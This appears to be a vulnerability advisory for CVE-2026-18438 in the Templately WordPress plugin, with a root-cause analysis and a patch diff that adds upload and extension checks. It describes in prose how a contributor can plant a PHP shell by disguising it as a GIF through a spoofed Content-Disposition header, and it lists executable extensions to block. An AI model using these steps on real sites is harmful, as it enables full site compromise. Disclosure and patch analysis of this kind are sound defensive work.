Opens in a new tab
Published : November 15, 2026

CVE-2026-18438: Templately <= 3.7.1 Authenticated (Contributor+) Arbitrary File Upload to Remote Code Execution via Gutenberg Cloud Import Attachment Filename Mismatch PoC, Patch Analysis & Rule

Plugin templately
Severity High (CVSS 8.8)
CWE 434
Vulnerable Version 3.7.1
Patched Version 3.7.2
Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18438:

Atomic Edge research identifies CVE-2026-18438 as an authenticated arbitrary file upload vulnerability leading to remote code execution in the Templately plugin for WordPress versions up to and including 3.7.1. The flaw resides in the fetch_remote_file function within templately/includes/Core/Importer/WPImport.php. A contributor-level user can exploit a filename validation mismatch to write a PHP file to a web-accessible directory, achieving code execution. The CVSS score is 8.8 (High).

Root Cause: The fetch_remote_file function derives the destination filename ($new_file) from the URL path while performing file type validation against the Content-Disposition header filename ($file_name). Specifically, lines around 1388-1450 show that $file_name is initially set from the URL basename, then overridden by the Content-Disposition header if present. The file type check uses wp_check_filetype_and_ext on $file_name (the Content-Disposition name), but the actual copy operation writes to $new_file which is constructed from the original URL-derived name. An attacker can supply a URL ending in .php and a Content-Disposition header claiming the file is image/gif. The validation passes because it checks the .gif extension, but the file is written with a .php extension. The patch adds a re-derivation step (lines 1443-1458) that forces the destination extension to match the validated extension.

Exploitation: An attacker with contributor-level access sends a POST request to /wp-json/templately/v1/clouds/upload (or /templately/v1/insert) with a crafted URL parameter pointing to a remote file with a .php extension. The attacker controls the Content-Disposition header of the remote response to include filename=”shell.gif”. The plugin fetches the file, validates it as image/gif based on the header, but writes it to wp-content/uploads/templately/tmp/…/shell.php. The attacker then requests the uploaded PHP file to execute arbitrary code. The REST API endpoints are authorized only by current_user_can(‘delete_posts’), which contributors possess.

Patch Analysis: The patch addresses the vulnerability in two ways. First, fetch_remote_file now sanitizes the Content-Disposition filename and re-derives the destination filename from the validated extension. After the file type check, it compares the extension of $new_file with the validated $ext and if they differ, it generates a new unique filename using $file_name (which has the correct extension). It also updates $file_name to match the actual on-disk name. Second, the patch restricts state-changing REST routes like /templately/v1/dependencies/install to users with install_plugins capability, and adds a capability check (edit_posts) to an AJAX endpoint. These changes prevent contributors from reaching the vulnerable upload path and ensure that file type validation is applied to the actual destination filename.

Impact: Successful exploitation allows an authenticated contributor to upload and execute arbitrary PHP code, leading to full site compromise. An attacker can install backdoors, steal data, create admin accounts, or deface the site. The vulnerability also allows bypassing the unfiltered_upload capability check. Given the low privilege requirement (contributor), this poses a significant risk to WordPress sites using the plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/templately/assets/js/templately.asset.php
+++ b/templately/assets/js/templately.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-media-utils', 'wp-url'), 'version' => '59305e2e02bba12fca85');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'regenerator-runtime', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-media-utils', 'wp-url'), 'version' => 'b9a6ffa04896ac9d2a96');
--- a/templately/includes/API/AIContent.php
+++ b/templately/includes/API/AIContent.php
@@ -57,10 +57,13 @@

 		$_route = $request->get_route();
 		if ('/templately/v1/ai-content/ai-update' === $_route || '/templately/v1/ai-content/ai-update-preview' === $_route) {
-			Helper::log( [
-				'headers' => $request->get_headers(),
-				'body'    => $request->get_params(),
-			], 'ai_update_request' );
+			// Disabled: the headers carry X-Templately-Apikey, and Helper::log()
+			// writes to debug.log, which is web-readable on plenty of hosts. That
+			// key authorizes this very route.
+			// Helper::log( [
+			// 	'headers' => $request->get_headers(),
+			// 	'body'    => $request->get_params(),
+			// ], 'ai_update_request' );

 			if (empty($process_id)) {
 				return $this->error('invalid_id', __('Invalid ID.', 'templately'), 'calculate_credit', 400);
--- a/templately/includes/API/API.php
+++ b/templately/includes/API/API.php
@@ -174,16 +174,25 @@
             $_additional_data['endpoint'] = $endpoint;
         }

-        // Delete user logged meta data
-		$this->utils('options')
-			->remove('user')
-			->remove('favourites')
-			->remove('reviews')
-			->remove('cloud_activity')
-			->remove('api_key');
+        // Delete user logged meta data — pinned to the acting user, otherwise
+		// Options::user_id() resolves a linked user to the global-login
+		// administrator and clears the administrator's session instead.
+		$options = $this->utils('options');
+		$options->use_current_user( true );

-		if( $this->utils('options')->who_am_i() === 'global' ) {
-			$this->utils('options')->remove_global_login();
+		try {
+			$options
+				->remove('user')
+				->remove('favourites')
+				->remove('reviews')
+				->remove('cloud_activity')
+				->remove('api_key');
+
+			if( $options->who_am_i() === 'global' ) {
+				$options->remove_global_login();
+			}
+		} finally {
+			$options->use_current_user( false );
 		}

 		return new WP_Error( 'invalid_api_key', $message, $_additional_data );
--- a/templately/includes/API/Dependencies.php
+++ b/templately/includes/API/Dependencies.php
@@ -26,11 +26,19 @@

 	public function permission_check( WP_REST_Request $request ) {
 		$this->request = $request;
-		// $_route = $request->get_route();

-		// if( $_route === '/templately/v1/dependencies/install' && ! Helper::current_user_can( 'install_plugins' ) ) {
-		// 	return Helper::error('invalid_permission', __( 'Sorry, you do not have permission to install a plugin.', 'templately' ), 'dependencies/install', 403 );
-		// }
+		// Installing reaches beyond template content, so it does not ride the
+		// `delete_posts` base gate the read routes are happy with. Installer::install()
+		// checks `install_plugins` / `activate_plugins` per plugin as well; this is the
+		// front gate, so the route cannot be probed at all without the capability.
+		if ( $request->get_route() === '/templately/v1/dependencies/install' && ! Helper::current_user_can( 'install_plugins' ) ) {
+			return $this->error(
+				'invalid_permission',
+				__( 'Sorry, you do not have permission to install a plugin.', 'templately' ),
+				'dependencies/install',
+				rest_authorization_required_code()
+			);
+		}

 		return true;
 	}
--- a/templately/includes/API/Login.php
+++ b/templately/includes/API/Login.php
@@ -197,11 +197,26 @@
     }

     public function logout() {
+        // Read the key off the acting user's own record. Options::get() falls back to
+        // the global-login administrator when no target is given, so $this->api_key
+        // resolves to the administrator's key for any linked user — disconnecting the
+        // administrator's account on the cloud as well as locally.
+        $api_key = $this->utils( 'options' )->get( 'api_key', '', get_current_user_id() );
+
+        if ( empty( $api_key ) ) {
+            return $this->error(
+                'logout_error',
+                __( 'You are not connected to Templately.', 'templately' ),
+                'logout',
+                403
+            );
+        }
+
         $response = $this->http()->mutation(
             'disconnect',
             'status, message, data',
             [
-                'api_key'  => $this->api_key,
+                'api_key'  => $api_key,
                 "site_url" => home_url( '/' )
             ]
         )->post();
@@ -230,19 +245,30 @@
     }

 	public function delete(){
-		$this->utils( 'options' )
-            ->remove( 'user' )
-            ->remove( 'favourites' )
-            ->remove( 'reviews' )
-            ->remove( 'cloud_activity' )
-            ->remove( 'api_key' )
-            ->remove( 'global_login' )
-            ->remove( 'total_download_counts' )
-            ->remove( 'templates_in_clouds' );
+		$options = $this->utils( 'options' );

-        if ( $this->utils( 'options' )->who_am_i() === 'global' ) {
-            $this->utils( 'options' )->remove_global_login();
-        }
+		// Pin the removals to the acting user. Without the pin, Options::user_id()
+		// resolves a linked user to the global-login administrator and the delete
+		// path wipes the administrator's connection instead of the caller's.
+		$options->use_current_user( true );
+
+		try {
+			$options
+				->remove( 'user' )
+				->remove( 'favourites' )
+				->remove( 'reviews' )
+				->remove( 'cloud_activity' )
+				->remove( 'api_key' )
+				->remove( 'global_login' )
+				->remove( 'total_download_counts' )
+				->remove( 'templates_in_clouds' );
+
+			if ( $options->who_am_i() === 'global' ) {
+				$options->remove_global_login();
+			}
+		} finally {
+			$options->use_current_user( false );
+		}

 		$global_user_id = $this->utils( 'options' )->is_global();
 		$global_user = null;
--- a/templately/includes/API/LogoGeneration.php
+++ b/templately/includes/API/LogoGeneration.php
@@ -33,13 +33,16 @@

 		// Handle logo generation callback endpoint
 		if ( '/templately/v1/logo-generation/callback' === $_route ) {
-			Helper::log(
-				[
-					'headers' => $request->get_headers(),
-					'body'    => $request->get_params(),
-				],
-				'logo_generation_callback_request'
-			);
+			// Disabled: the headers carry X-Templately-Apikey, and Helper::log()
+			// writes to debug.log, which is web-readable on plenty of hosts. That
+			// key authorizes this very route.
+			// Helper::log(
+			// 	[
+			// 		'headers' => $request->get_headers(),
+			// 		'body'    => $request->get_params(),
+			// 	],
+			// 	'logo_generation_callback_request'
+			// );

 			if ( empty( $process_id ) ) {
 				return $this->error( 'invalid_id', __( 'Invalid ID.', 'templately' ), 'logo_generation_callback', 400 );
--- a/templately/includes/Core/Importer/FullSiteImport.php
+++ b/templately/includes/Core/Importer/FullSiteImport.php
@@ -146,11 +146,15 @@
 			$data = array_merge($session_data, $data);
 		}
 		else {
-			$session_id  = uniqid();
+			// Not uniqid(): that is a formatted microtime, so the path it keys in
+			// web-served wp-uploads is enumerable by anyone who knows roughly when
+			// an import ran. The chatbot flow already sends a client-side uuid4
+			// here, so this only brings the fallback in line with it.
+			$session_id  = wp_generate_uuid4();
 		}

-		$tmp_dir = trailingslashit($upload_dir['basedir']) . 'templately' . DIRECTORY_SEPARATOR . 'tmp' . DIRECTORY_SEPARATOR;
-		$prv_dir = trailingslashit($upload_dir['basedir']) . 'templately' . DIRECTORY_SEPARATOR . 'preview' . DIRECTORY_SEPARATOR;
+		$tmp_dir = Helper::upload_dir('tmp');
+		$prv_dir = Helper::upload_dir('preview');

 		$this->session_id = $session_id;
 		$data['session_id'] = $session_id;
@@ -197,8 +201,8 @@
 			return;
 		}

-		$tmp_dir = trailingslashit($upload_dir['basedir']) . 'templately' . DIRECTORY_SEPARATOR . 'tmp' . DIRECTORY_SEPARATOR;
-		$prv_dir = trailingslashit($upload_dir['basedir']) . 'templately' . DIRECTORY_SEPARATOR . 'preview' . DIRECTORY_SEPARATOR;
+		$tmp_dir = Helper::upload_dir('tmp');
+		$prv_dir = Helper::upload_dir('preview');

 		$this->session_id = $session_id;
 		$data['root_dir'] = $tmp_dir;
@@ -696,7 +700,10 @@
 			$this->throw(__('Upload directory is not writable.', 'templately'));
 		}

-		$this->tmp_dir = trailingslashit($upload_dir['basedir']) . 'templately' . DIRECTORY_SEPARATOR . 'tmp' . DIRECTORY_SEPARATOR;
+		// Goes through Helper so the wp-uploads/templately root gets its
+		// index.php / .htaccess / web.config guards before anything is written
+		// into it — the extracted pack lives here and uploads is web-served.
+		$this->tmp_dir = Helper::upload_dir('tmp');

 		if (!is_dir($this->tmp_dir)) {
 			wp_mkdir_p($this->tmp_dir);
@@ -779,6 +786,11 @@
 			$unzip = $this->unzip_file($this->filePath, $this->dir_path);
 		}

+		// Core's unzip_file() extracts whatever the archive holds, and the pack
+		// lands under web-served wp-uploads. Sweep before anything else touches
+		// the tree, so the relocation below cannot copy an executable upward.
+		$this->purge_disallowed_files($this->dir_path);
+
 		$manifest_file = $this->dir_path . 'manifest.json';

 		// If manifest.json is missing, but any subdirectory contains manifest.json, move all its contents up and remove the subdirectory.
@@ -866,6 +878,178 @@


 	/**
+	 * Extensions a pack carries that WordPress does not accept as an upload.
+	 *
+	 * Everything else comes from get_allowed_mime_types(), so this list only has
+	 * to name what the pack format adds on top of it:
+	 *
+	 * - `json` — every pack is built from JSON (manifest, templates, content),
+	 *   and WordPress has never allowed .json uploads.
+	 * - `xml`  — the WXR files under wp-content/. Also not an allowed upload:
+	 *   core hands .xml to the importer plugin rather than the media library.
+	 * - `ai`   — the marker segment in `{id}.ai.json`, an AI-generated page. Not
+	 *   the Illustrator format.
+	 * - `svg`  — packs ship SVG artwork. This plugin already allows SVG uploads
+	 *   for the duration of an import (see allow_svg_upload()), but that filter is
+	 *   only added in start_content_import(), which runs AFTER extraction — so at
+	 *   sweep time get_allowed_mime_types() does not have it and the pack's SVGs
+	 *   would be deleted. It has to be named here.
+	 * - fonts  — a pack may ship webfonts, and none of these are upload types.
+	 *   Passive assets; nothing here is executable by any server.
+	 *
+	 * Adding to this list is how a new pack file type gets through. It fails
+	 * closed and logs, so a missing entry shows up as a dropped file in the
+	 * import log — not as a silent hole.
+	 */
+	const PACK_EXTENSIONS = [
+		'json', 'xml', 'ai',
+		'svg', 'svgz',
+		'woff', 'woff2', 'ttf', 'otf', 'eot',
+	];
+
+	/**
+	 * Extensions an extracted pack member is permitted to use.
+	 *
+	 * Deliberately an allowlist, and deliberately WordPress's own: naming the
+	 * dangerous extensions instead means being exhaustive about `.phtml`, `.pht`,
+	 * `.phar`, `.cgi`, `.htaccess`, `.user.ini` and whatever a future server
+	 * config decides to execute — one omission and the guard is silent.
+	 * get_allowed_mime_types() already encodes what this site accepts, follows
+	 * the `upload_mimes` filter, and gains new formats as WordPress does.
+	 *
+	 * @return array Extension => true lookup.
+	 */
+	protected static function allowed_pack_extensions() {
+		$allowed = array_fill_keys(self::PACK_EXTENSIONS, true);
+
+		// Keys are alternation patterns: 'jpg|jpeg|jpe' => 'image/jpeg'.
+		foreach (array_keys(get_allowed_mime_types()) as $pattern) {
+			foreach (explode('|', $pattern) as $extension) {
+				$allowed[$extension] = true;
+			}
+		}
+
+		return $allowed;
+	}
+
+	/**
+	 * Segments that must never appear anywhere in a pack member's name.
+	 *
+	 * This one IS a denylist, and only because it is applied to the segments
+	 * *before* the real extension, which the allowlist has already vetted. A
+	 * permissive `AddHandler` runs `shell.php.gif` as PHP, so an inner segment
+	 * still has to be refused — but refusing every inner segment the allowlist
+	 * does not know would delete ordinary names like `style.min.css` or
+	 * `hero.2x.png`, where the inner segment is a word, not an extension.
+	 *
+	 * An omission here is far less serious than in the allowlist: it only
+	 * matters for a name whose final extension is already an accepted upload
+	 * type, on a server configured to hand an inner extension to a handler.
+	 */
+	const EXECUTABLE_SEGMENTS = [
+		'php', 'php3', 'php4', 'php5', 'php6', 'php7', 'php8',
+		'phps', 'phtml', 'phtm', 'pht', 'phar', 'inc',
+		'cgi', 'fcgi', 'pl', 'py', 'rb', 'sh', 'bash', 'ksh', 'csh', 'zsh',
+		'asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cfm', 'cfml',
+		'jsp', 'jspx', 'jar', 'war',
+		'shtml', 'shtm',
+		'exe', 'com', 'bat', 'cmd', 'dll', 'so',
+		'htaccess', 'htpasswd', 'ini', 'env', 'conf',
+	];
+
+	/**
+	 * Whether an archive entry (or extracted file) is something a pack may hold.
+	 *
+	 * Two different rules, because a filename's dots do not all mean the same
+	 * thing. The LAST segment is the extension the server dispatches on, so it
+	 * is checked against the allowlist. The segments before it are usually just
+	 * part of the name — `style.min.css`, `hero.2x.png`, `logo.v2.png`,
+	 * `12.ai.json` — so they are only checked against EXECUTABLE_SEGMENTS,
+	 * which is what still refuses `shell.php.gif` under a permissive
+	 * `AddHandler`.
+	 *
+	 * A name with no extension at all is refused, which is what catches
+	 * `.htaccess`, `.user.ini` and `.env` — none of them have one.
+	 *
+	 * @param string $name    Entry name or file path.
+	 * @param array  $allowed Lookup from allowed_pack_extensions(). Built on
+	 *                        demand when omitted; pass it in when looping.
+	 *
+	 * @return bool
+	 */
+	protected static function is_allowed_entry($name, $allowed = null) {
+		if (null === $allowed) {
+			$allowed = self::allowed_pack_extensions();
+		}
+
+		$segments = explode('.', strtolower(wp_basename($name)));
+
+		// No extension, or a leading-dot name whose only "segment" is empty.
+		if (count($segments) < 2 || '' === $segments[0]) {
+			return false;
+		}
+
+		$extension = array_pop($segments);
+		if (!isset($allowed[$extension])) {
+			return false;
+		}
+
+		$executable = array_fill_keys(self::EXECUTABLE_SEGMENTS, true);
+
+		// array_slice() drops the base name; only what sits between it and the
+		// extension is a masking risk.
+		foreach (array_slice($segments, 1) as $segment) {
+			if (isset($executable[$segment])) {
+				return false;
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Deletes anything an extracted pack has no business containing.
+	 *
+	 * The fallback extractor below refuses these entries outright, but WordPress
+	 * core's unzip_file() runs first and has no such filter, so the guard has to
+	 * exist on the extracted tree as well.
+	 *
+	 * @param string $dir Extracted pack root.
+	 *
+	 * @return int Number of files removed.
+	 */
+	protected function purge_disallowed_files($dir) {
+		if (empty($dir) || !is_dir($dir)) {
+			return 0;
+		}
+
+		$removed = 0;
+		$allowed = self::allowed_pack_extensions();
+
+		try {
+			$files = new RecursiveIteratorIterator(
+				new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
+				RecursiveIteratorIterator::CHILD_FIRST
+			);
+
+			foreach ($files as $fileinfo) {
+				if (!$fileinfo->isFile() || self::is_allowed_entry($fileinfo->getFilename(), $allowed)) {
+					continue;
+				}
+
+				if (@unlink($fileinfo->getPathname())) {
+					$removed++;
+					Helper::log($fileinfo->getPathname(), 'unzip: removed disallowed file from extracted pack', 'warning');
+				}
+			}
+		} catch (Exception $e) {
+			Helper::log($e->getMessage(), 'purge_disallowed_files', 'warning');
+		}
+
+		return $removed;
+	}
+
+	/**
 	 * Unzip a specified ZIP file to a location on the Filesystem.
 	 *
 	 * Why this custom extractor exists: some Templately packs carry entries with
@@ -899,6 +1083,8 @@
 		try {
 			$to = trailingslashit($to);

+			$allowed_extensions = self::allowed_pack_extensions();
+
 			for ($i = 0; $i < $zip->numFiles; $i++) {
 				$name = $zip->getNameIndex($i);
 				if ($name === false) {
@@ -927,6 +1113,15 @@
 					continue;
 				}

+				// validate_file() stops a member escaping $to; it says nothing
+				// about what the member *is*. $to lives under web-served
+				// wp-uploads, so an executable member would be directly
+				// requestable.
+				if (!self::is_allowed_entry($name, $allowed_extensions)) {
+					Helper::log($name, 'unzip_file: skipped disallowed archive entry', 'warning');
+					continue;
+				}
+
 				if (substr($name, -1) === '/') {
 					// Directory entry.
 					wp_mkdir_p($to . untrailingslashit($name));
--- a/templately/includes/Core/Importer/Utils/AIUtils.php
+++ b/templately/includes/Core/Importer/Utils/AIUtils.php
@@ -744,10 +744,10 @@
 			return $content_id;
 		}

-		$upload_dir = wp_upload_dir();
-
-		// Always save to tmp directory for AI content workflow
-		$tmp_dir = trailingslashit($upload_dir['basedir']) . 'templately' . DIRECTORY_SEPARATOR . 'tmp' . DIRECTORY_SEPARATOR . $session_id . DIRECTORY_SEPARATOR;
+		// Always save to tmp directory for AI content workflow. Via Helper so the
+		// wp-uploads/templately root is guarded even when an AI callback is what
+		// creates the tree, rather than a full import that ran first.
+		$tmp_dir = Helper::upload_dir('tmp') . $session_id . DIRECTORY_SEPARATOR;

 		// Decode template if it's base64 encoded
 		if (! empty($template) && base64_decode($template, true) !== false) {
--- a/templately/includes/Core/Importer/Utils/LogHandler.php
+++ b/templately/includes/Core/Importer/Utils/LogHandler.php
@@ -2,12 +2,13 @@
 namespace TemplatelyCoreImporterUtils;

 use TemplatelyCoreImporterFullSiteImport;
+use TemplatelyUtilsHelper;

 class LogHandler {
     public static function get_log_dir() {
-        $upload_dir = wp_upload_dir();
-        $log_dir    = trailingslashit($upload_dir['basedir']) . 'templately' . DIRECTORY_SEPARATOR . 'log' . DIRECTORY_SEPARATOR;
-        return $log_dir;
+        // Import logs carry pack and session detail and sit in web-served
+        // wp-uploads, so the root gets its access guards on the way past.
+        return Helper::upload_dir('log');
     }

     public static function get_log_file_path() {
--- a/templately/includes/Core/Importer/WPImport.php
+++ b/templately/includes/Core/Importer/WPImport.php
@@ -1195,7 +1195,20 @@
 		}

 		// Move the file to the uploads dir.
-		$file_name = basename( parse_url( $url, PHP_URL_PATH ) );
+		//
+		// The attachment url is attacker-reachable — a cloud template can point an
+		// image anywhere — so the url-derived name is sanitized, and an extension
+		// WordPress does not recognise as an uploadable type is dropped rather than
+		// carried into the destination path. fetch_remote_file() re-derives the
+		// extension from the response and validates it before writing, so dropping
+		// an unusable one here costs nothing.
+		$file_name = sanitize_file_name( basename( parse_url( $url, PHP_URL_PATH ) ) );
+		if ( pathinfo( $file_name, PATHINFO_EXTENSION ) ) {
+			$url_filetype = wp_check_filetype( $file_name );
+			if ( empty( $url_filetype['type'] ) ) {
+				$file_name = pathinfo( $file_name, PATHINFO_FILENAME );
+			}
+		}
 		$file_name = wp_unique_filename( $upload_dir['path'], $file_name );
 		$dest_file = $upload_dir['path'] . "/$file_name";
 		$start     = microtime(true);
@@ -1289,9 +1302,16 @@

 	private function remove_extension($url) {
 		$parts = pathinfo($url);
-		$name  = basename($parts['basename'], ".{$parts['extension']}"); // PATHINFO_FILENAME in PHP 5.2
+		// pathinfo() omits 'extension' for a dotless name, and 'dirname' for an
+		// empty one. Remote attachment urls are not obliged to carry an extension
+		// (`.../media/1234`), and the url of an attachment that has since been
+		// deleted resolves to ''.
+		$dirname   = isset( $parts['dirname'] ) ? $parts['dirname'] : '';
+		$basename  = isset( $parts['basename'] ) ? $parts['basename'] : '';
+		$extension = isset( $parts['extension'] ) ? $parts['extension'] : '';
+		$name      = '' === $extension ? $basename : basename($basename, ".{$extension}"); // PATHINFO_FILENAME in PHP 5.2

-		return $parts['dirname'] . '/' . $name;
+		return $dirname . '/' . $name;
 	}

 	public function set_url_map($original_url, $new_url, $remove_extension = false){
@@ -1388,10 +1408,16 @@
 			return new WP_Error( 'import_file_error', sprintf( esc_html__( 'Remote file is too large, limit is %s', 'elementor' ), size_format( $max_size ) ) );
 		}

-		// Override file name with Content-Disposition header value.
+		// Override file name with Content-Disposition header value. The header is
+		// whatever the remote chose to send, so it is sanitized before it is allowed
+		// anywhere near a path: sanitize_file_name() strips directory separators and
+		// neutralizes the inner extension of a double-extension name.
 		if ( ! empty( $headers['content-disposition'] ) ) {
 			$file_name_from_disposition = self::get_filename_from_disposition( (array) $headers['content-disposition'] );
 			if ( $file_name_from_disposition ) {
+				$file_name_from_disposition = sanitize_file_name( $file_name_from_disposition );
+			}
+			if ( $file_name_from_disposition ) {
 				$file_name = $file_name_from_disposition;
 			}
 		}
@@ -1417,9 +1443,27 @@
 		}

 		if ( ( ! $type || ! $ext ) && ! current_user_can( 'unfiltered_upload' ) ) {
+			@unlink( $tmp_file_name );
+
 			return new WP_Error( 'import_file_error', esc_html__( 'Sorry, this file type is not permitted for security reasons.', 'elementor' ) );
 		}

+		// The type check above ran against $file_name (Content-Disposition), but the
+		// write lands on $new_file, whose name came from the request url path. When
+		// those two extensions disagree the check guarantees nothing about what is
+		// actually written — an image/gif verdict on `ok.gif` would let the bytes go
+		// to a `.php` destination. Re-derive the destination from the validated name
+		// so the two can never diverge. (CVE-2026-18438)
+		if ( $ext && strtolower( pathinfo( $new_file, PATHINFO_EXTENSION ) ) !== strtolower( $ext ) ) {
+			$file_name = wp_unique_filename( $uploads['path'], $file_name );
+			$new_file  = $uploads['path'] . "/$file_name";
+		}
+
+		// Whatever the branch above decided, the reported name must describe the file
+		// that is actually on disk — the remapped url in the imported content is built
+		// from it.
+		$file_name = wp_basename( $new_file );
+
 		$move_new_file = copy( $tmp_file_name, $new_file );

 		if ( ! $move_new_file ) {
--- a/templately/includes/Core/Platform/Gutenberg.php
+++ b/templately/includes/Core/Platform/Gutenberg.php
@@ -265,6 +265,14 @@
         // Check nonce for security
         check_ajax_referer( 'templately_nonce', 'nonce' );

+        // The nonce alone is not authorization: `templately_nonce` is handed to
+        // every user who loads a Templately-enqueued screen, so without this any
+        // logged-in user could write the option. It toggles buttons in the block
+        // editor, so the people who use that editor are exactly the right gate.
+        if ( ! current_user_can( 'edit_posts' ) ) {
+            wp_send_json_error( [ 'message' => __( 'Insufficient permissions', 'templately' ) ], 403 );
+        }
+
         // Get the new value from the AJAX request
         $hide_buttons = isset($_GET['hide_buttons']) ? sanitize_text_field($_GET['hide_buttons']) : '';

--- a/templately/includes/Plugin.php
+++ b/templately/includes/Plugin.php
@@ -18,6 +18,7 @@
 use TemplatelyAPIThemeBuilderApi;
 use TemplatelyBuilderThemeBuilder;
 use TemplatelyCoreImporterFullSiteImport;
+use TemplatelyUtilsAuthErrorCode;
 use TemplatelyUtilsBase;
 use TemplatelyUtilsDatabase;
 use TemplatelyUtilsEnqueue;
@@ -46,7 +47,7 @@
 use TemplatelyCorePlatformElementor;

 final class Plugin extends Base {
-    public $version = '3.7.1';
+    public $version = '3.7.2';

 	public $admin;
 	public $settings;
@@ -304,9 +305,12 @@
 		$redirect_url = remove_query_arg( [ 'templately_google_login', 'templately_state', 'api_key', 'error', 'state', 'redirect-to' ] );

 		if ( ! $is_authorized ) {
-			$error_message = __( 'This sign-in link is no longer valid. Please try signing in again.', 'templately' );
+			$error_code = AuthErrorCode::AUTH_STATE_INVALID;
 		} elseif ( ! empty( $_GET['error'] ) ) {
-			$error_message = sanitize_text_field( $_GET['error'] );
+			// Google's own reason is deliberately dropped rather than forwarded:
+			// everything on this query string is attacker-controlled, and the
+			// screen that displays it must never be handed prose from the URL.
+			$error_code = AuthErrorCode::AUTH_PROVIDER_FAILED;
 		} elseif ( ! empty( $_GET['api_key'] ) ) {
 			$request = new WP_REST_Request( 'POST', '/templately/v1/login' );
 			$request->set_param( 'viaAPI', true );
@@ -347,15 +351,16 @@
 				wp_safe_redirect( $redirect_url );
 				exit;
 			} else {
-				$error_message = ( is_wp_error( $response ) ) ? $response->get_error_message() : __( 'Login failed.', 'templately' );
+				// The cloud's own wording stays server-side; the screen resolves
+				// its copy from the code.
+				$error_code = AuthErrorCode::INVALID_API_KEY;
 			}
 		} else {
-			$error_message = __( 'Missing API Key.', 'templately' );
+			$error_code = AuthErrorCode::AUTH_MISSING_API_KEY;
 		}

 		$redirect_url = add_query_arg( [
-			'templately_error' => 'login_failed',
-			'error_message'    => urlencode( $error_message ),
+			'templately_error' => $error_code,
 		], $redirect_url );

 		wp_safe_redirect( $redirect_url );
--- a/templately/includes/Utils/AuthErrorCode.php
+++ b/templately/includes/Utils/AuthErrorCode.php
@@ -0,0 +1,69 @@
+<?php
+
+namespace TemplatelyUtils;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * The codes the Google sign-in callback may hand back through the redirect URL.
+ *
+ * Only a code travels. The callback used to put the failure PROSE in an
+ * `error_message` query parameter, which the sign-in screen then rendered as
+ * markup — a reflected XSS anyone could fire by getting an administrator to
+ * open a crafted admin URL. A code cannot carry a payload: the React side
+ * matches it against this same list and discards anything it does not
+ * recognise, and the copy for each one lives in the plugin.
+ *
+ * Values mirror `includes/Utils/Response/ErrorCode.php` on the `staging` branch
+ * so the two converge when that work lands on the release line.
+ */
+class AuthErrorCode {
+
+	/**
+	 * The state token was missing, expired, or minted for another user.
+	 */
+	const AUTH_STATE_INVALID = 'templately_auth_state_invalid';
+
+	/**
+	 * The callback arrived without an API key to connect with.
+	 */
+	const AUTH_MISSING_API_KEY = 'templately_auth_missing_api_key';
+
+	/**
+	 * Google itself refused — it returns its reason in `?error=`, which we
+	 * deliberately do not forward.
+	 */
+	const AUTH_PROVIDER_FAILED = 'templately_auth_provider_failed';
+
+	/**
+	 * The key was rejected when we tried to connect with it. Also the catch-all:
+	 * anything without a code of its own collapses here, so no upstream-authored
+	 * string ever needs to reach the URL.
+	 */
+	const INVALID_API_KEY = 'templately_invalid_api_key';
+
+	/**
+	 * Every code this class defines.
+	 *
+	 * @return string[]
+	 */
+	public static function all() {
+		return [
+			self::AUTH_STATE_INVALID,
+			self::AUTH_MISSING_API_KEY,
+			self::AUTH_PROVIDER_FAILED,
+			self::INVALID_API_KEY,
+		];
+	}
+
+	/**
+	 * Whether a value is one of ours.
+	 *
+	 * @param mixed $code Candidate code, typically straight off the query string.
+	 *
+	 * @return bool
+	 */
+	public static function exists( $code ) {
+		return is_string( $code ) && in_array( $code, self::all(), true );
+	}
+}
--- a/templately/includes/Utils/Helper.php
+++ b/templately/includes/Utils/Helper.php
@@ -750,4 +750,71 @@
 		return $r;
 	}

+	/**
+	 * Creates the plugin's working directory under wp-uploads and blocks direct
+	 * web access to it.
+	 *
+	 * Everything the importer needs on disk lands here: the extracted pack (its
+	 * WXR, its template JSON, its attachments), the AI-generated page JSON, and
+	 * the FSI logs. wp-uploads is web-served, so these paths are not private just
+	 * because their session id is a uuid — the guards are what makes them
+	 * unreadable, not the name.
+	 *
+	 * .htaccess covers Apache and is inherited by everything below this point;
+	 * web.config covers IIS; index.php stops a directory listing on any server.
+	 * nginx honours none of them, so an nginx site still needs a location rule —
+	 * this raises the floor, it does not replace server configuration.
+	 *
+	 * @param string $dir Absolute path to create and protect.
+	 *
+	 * @return bool Whether the directory exists and is usable.
+	 */
+	public static function protect_directory( $dir ) {
+		if ( empty( $dir ) ) {
+			return false;
+		}
+
+		if ( ! is_dir( $dir ) && ! wp_mkdir_p( $dir ) ) {
+			return false;
+		}
+
+		$guards = [
+			'index.php'  => "<?phpn// Silence is golden.n",
+			'.htaccess'  => "# Templately working files — not for direct access.n<IfModule mod_authz_core.c>ntRequire all deniedn</IfModule>n<IfModule !mod_authz_core.c>ntOrder allow,denyntDeny from alln</IfModule>n",
+			'web.config' => "<?xml version="1.0" encoding="UTF-8"?>n<configuration>nt<system.webServer>ntt<authorization>nttt<deny users="*" />ntt</authorization>nt</system.webServer>n</configuration>n",
+		];
+
+		foreach ( $guards as $file => $contents ) {
+			$path = trailingslashit( $dir ) . $file;
+			// Never overwrite: a site owner may have relaxed these deliberately.
+			if ( ! file_exists( $path ) ) {
+				@file_put_contents( $path, $contents ); // phpcs:ignore
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Absolute path to the plugin's protected working directory in wp-uploads.
+	 *
+	 * @param string $sub Optional subdirectory ('tmp', 'log', 'preview', ...).
+	 *
+	 * @return string Trailing-slashed path, or '' when uploads is unusable.
+	 */
+	public static function upload_dir( $sub = '' ) {
+		$upload_dir = wp_upload_dir();
+
+		if ( ! empty( $upload_dir['error'] ) || empty( $upload_dir['basedir'] ) ) {
